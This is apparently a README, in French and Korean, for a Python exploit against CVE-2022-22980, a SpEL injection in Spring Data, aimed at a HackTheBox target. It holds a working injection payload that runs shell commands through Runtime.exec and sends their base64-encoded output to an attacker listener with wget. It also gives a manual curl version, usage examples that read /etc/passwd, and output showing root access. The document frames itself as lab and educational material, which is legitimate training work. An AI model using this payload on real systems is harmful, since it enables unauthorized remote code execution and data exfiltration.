
Exploitation de CVE-2022-22980
Spring Data에서 SpEL(Spring Expression Language) 주입을 통한 원격 코드 실행(RCE) 익스플로잇입니다.
이 박스는 tracking_id 매개변수를 받는 /search 엔드포인트를 노출하며, 이 매개변수는 SpEL 주입에 취약합니다. 이 주입을 통해 서버에서 직접 악성 Java 표현식을 실행할 수 있습니다.
Runtime.getRuntime().exec()를 통해 셸 명령어를 실행하는 SpEL 표현식 주입http.server, subprocess, threading, base64)LPORT 수정)환경에 맞게 스크립트에서 매개변수를 수정하세요:
TARGET = "http://<IP_CIBLE>:8080/search" # 대상 URL
LHOST = "<VOTRE_IP>" # 로컬 IP (HTB의 경우 tun0)
LPORT = 80 # 리스닝 포트
# 간단한 명령어
python3 spel_shell.py "whoami"
# 파이프 명령어
python3 spel_shell.py "cat /etc/passwd"
# 시스템 정보 확인
python3 spel_shell.py "uname -a"
# 네트워크 접근 확인
python3 spel_shell.py "curl -s http://httpbin.org/get"
[*] Starting listener...
[*] Server listening on port 80
[*] Sending payload...
Payload: tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://10.10.14.5:80/{}"})
[*] Received data: cm9vdA==
[+] Command output:
root
스크립트 없이 페이로드를 테스트하려면:
# 터미널 1: 리스너 시작
python3 -m http.server 80
# 터미널 2: 페이로드 전송
curl -X POST \
-d 'tracking_id=T(java.lang.Runtime).getRuntime().exec(new String[]{"bash","-c","whoami | base64 -w0 | xargs -I {} wget http://<VOTRE_IP>:80/{}"})' \
http://<IP_CIBLE>:8080/search
포트 80이 사용 중입니다. 해결 방법:
# 포트를 사용 중인 프로세스 확인
sudo netstat -tlnp | grep :80
# Apache 실행 중인 경우 중지
sudo systemctl stop apache2
# 또는 다른 포트 사용
# 스크립트에서 LPORT를 수정하고 테스트
python3 spel_shell.py "echo test"sudo 필요ifconfig 사용 (HTB의 경우 tun0), 127.0.0.1 사용 금지"Raw data received" 대신 "Command output"이 보이지 않으면 명령어가 유효한 출력을 생성하지 않은 것입니다. 항상 출력을 생성하는 명령어로 테스트하세요.
1. start_server() - 포트 80에서 HTTP 서버 시작
↓
2. curl을 통해 대상에 SpEL 페이로드 전송
↓
3. 대상이 명령어를 실행하고 출력을 base64로 인코딩
↓
4. wget이 결과를 리스너로 전송 (GET http://LHOST:LPORT/<data>)
↓
5. Handler가 데이터를 수신 및 저장
↓
6. 스크립트가 디코딩하여 결과 출력
이 스크립트는 HackTheBox 박스용 교육 목적으로 제공됩니다. 테스트 권한이 있는 환경에서만 사용하세요.
저자 : Eliasdekiniweek
날짜 : 2026년 2월
언어 : Python 3